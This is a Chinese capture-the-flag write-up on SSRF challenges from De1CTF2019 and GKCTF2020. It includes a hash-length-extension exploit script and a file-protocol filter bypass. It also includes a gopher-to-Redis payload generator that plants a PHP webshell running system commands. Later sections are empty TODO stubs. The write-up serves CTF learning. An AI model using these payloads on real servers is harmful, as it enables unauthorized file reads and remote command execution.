2020-08-18
1.4k
De1CTF2019 SSRF Me
考点
解题
首先看三个路由:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| @app.route("/geneSign", methods=['GET', 'POST']) def geneSign(): param = urllib.unquote(request.args.get("param", "")) action = "scan" return getSign(action, param)
@app.route('/De1ta', methods=['GET', 'POST']) def challenge(): action = urllib.unquote(request.cookies.get("action")) param = urllib.unquote(request.args.get("param", "")) sign = urllib.unquote(request.cookies.get("sign")) ip = request.remote_addr if waf(param): return "No Hacker!!!!" task = Task(action, param, sign, ip) return json.dumps(task.Exec())
@app.route('/') def index(): return open("code.txt", "r").read()
|
- /:首页,获取源码;
- /geneSign:从用户获取
param
参数,再结合预设的action='scan'
调用getSign
生成签名;
- /De1ta:从cookie中获取
action
和sign
,再获取param
参数,结合当前IP地址构造一个Task类,最后以json的格式返回Exec
方法执行结果。
再来看getSign函数:
1 2
| def getSign(action, param): return hashlib.md5(secert_key + param + action).hexdigest()
|
将 secert_key 和 param 和 action 拼在一起,对其md5签名。secert_key是随机生成的16个字节的字符串。
然后来看waf函数:
1 2 3 4 5 6
| def waf(param): check = param.strip().lower() if check.startswith("gopher") or check.startswith("file"): return True else: return False
|
禁止param参数以gopher
和file
开头。
再来看到 Task 类的 Exec 方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| def Exec(self): result = {} result['code'] = 500 if self.checkSign(): if "scan" in self.action: tmpfile = open("./%s/result.txt" % self.sandbox, 'w') resp = scan(self.param) if resp == "Connection Timeout": result['data'] = resp else: print resp tmpfile.write(resp) tmpfile.close() result['code'] = 200 if "read" in self.action: f = open("./%s/result.txt" % self.sandbox, 'r') result['code'] = 200 result['data'] = f.read() if result['code'] == 500: result['data'] = "Action Error" else: result['code'] = 500 result['msg'] = "Sign Error" return result
|
首先验证签名,如果是scan
类型就调用 scan 方法来读取内容并写到沙盒下的 result.txt
文件。如果是read
类型就读取沙盒中的result.txt
内容。
那我们的思路就是:
- 读取 flag.txt 到 result.txt。
- 展示 result.txt 的内容。
方法一
预期解法:哈希长度拓展攻击+CVE-2019-9948(urllib)
简单来说MD5扩展长度攻击的原理:
https://www.jianshu.com/p/241e772a513f
当已知以下三点
- md5(salt+message)的值
- message内容
- salt+message长度
我们可以在不知道salt的具体内容的情况下,计算出任意的md5(salt+message+padding+append)值
urlopen有两种办法可以读取到本地文件。
Python脚本exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import hashpumpy import requests import urllib.parse
url = 'http://34b95521-f528-44e1-bcf5-b55918e71fc1.node3.buuoj.cn/' param = 'flag.txt' r = requests.get(url + 'getSign', params={'param': param}) sign = r.text
hash_sign = hashpumpy.hashpump(sign, param + 'scan', 'read', 16)
r = requests.get(url + 'De1ta', params={'param': param}, cookies={ 'sign': hash_sign[0], 'action': urllib.parse.quote(hash_sign[1][len(url):]) }) print(r.text)
|
方法二
要想进入对action判断的部分,比如先验证签名:
1 2 3 4 5
| def checkSign(self): if getSign(self.action, self.param) == self.sign: return True else: return False
|
- 在
checkSign()
函数的比较中,左边是getSign(self.action, self.param)
,右边是getSign('scan', param)
(因为在访问geneSign页面时,是自动传入scan
参数)。
- 如果再写深一点,左边是
md5(key + self.param + self.action)
,考虑到要读取flag.txt
文件,我们可以写成md5(key + 'flag.txt' + self.action)
。
- 为了保证Exec()函数中scan部分和read部分都能被执行,
self.action
必须有readscan
或scanread
这样的字符串(注意:源码中用in
操作符而不是用==
)。
- 等号右边是
md5(key + param + 'scan')
,所以可以将等号左边的self.action
定为readscan
。
- 这样一来,等号左边为
md5(key + 'flag.txt' + 'readscan')
,现在就剩下等号右边的param
参数没有确定,那么为了验证通过,我们可以将param=flag.txtread
传参。
- 最后也就等价于
md5(key + 'flag.txt' + 'readscan') == md5(key + 'flag.txtread' + 'scan')
payload1

payload2

GKCTF2020 Ezweb
打开题目查看源代码

添加一下?secret
参数,返回了ifconfig
命令的结果

应该是SSRF漏洞利用了,先尝试用file协议读文件,发现被ban掉了,用file:/
或者file: ///
绕过:
payload:file: ///var/www/html/index.php

审计一下代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| <?php function curl($url){ $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); echo curl_exec($ch); curl_close($ch); }
if(isset($_GET['submit'])){ $url = $_GET['url']; if(preg_match('/file\:\/\/|dict|\.\.\/|127.0.0.1|localhost/is', $url,$match)) { die('别这样'); } curl($url); } if(isset($_GET['secret'])){ system('ifconfig'); } ?>
|
从源码中可知过滤了file协议、dict协议、127.0.0.1和localhost,但没有过滤http协议和gopher协议。
既然给了内网地址,那么先http协议探测一下内网主机存活,直接上工具Fuzz:

11端口的回显给了一个hint

接着用http协议去Fuzz这个主机的端口

发现了运行着Redis服务,直接用下面这个脚本生成payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| import urllib protocol="gopher://" ip="173.10.238.11" // 运行有redis的主机ip port="6379" shell="\n\n<?php system(\"cat /flag\");?>\n\n" filename="shell.php" path="/var/www/html" passwd="" cmd=["flushall", "set 1 {}".format(shell.replace(" ","${IFS}")), "config set dir {}".format(path), "config set dbfilename {}".format(filename), "save" ] if passwd: cmd.insert(0,"AUTH {}".format(passwd)) payload=protocol+ip+":"+port+"/_" def redis_format(arr): CRLF="\r\n" redis_arr = arr.split(" ") cmd="" cmd+="*"+str(len(redis_arr)) for x in redis_arr: cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ") cmd+=CRLF return cmd
if __name__=="__main__": for x in cmd: payload += urllib.quote(redis_format(x)) print payload
|

生成Payload后直接放在输入框中打过去,再输入http://173.10.238.11/shell.php

HITCON 2017 SSRFme
TODO
网鼎杯 2018 Fakebook
TODO
网鼎杯 2020 玄武组 SSRFMe
TODO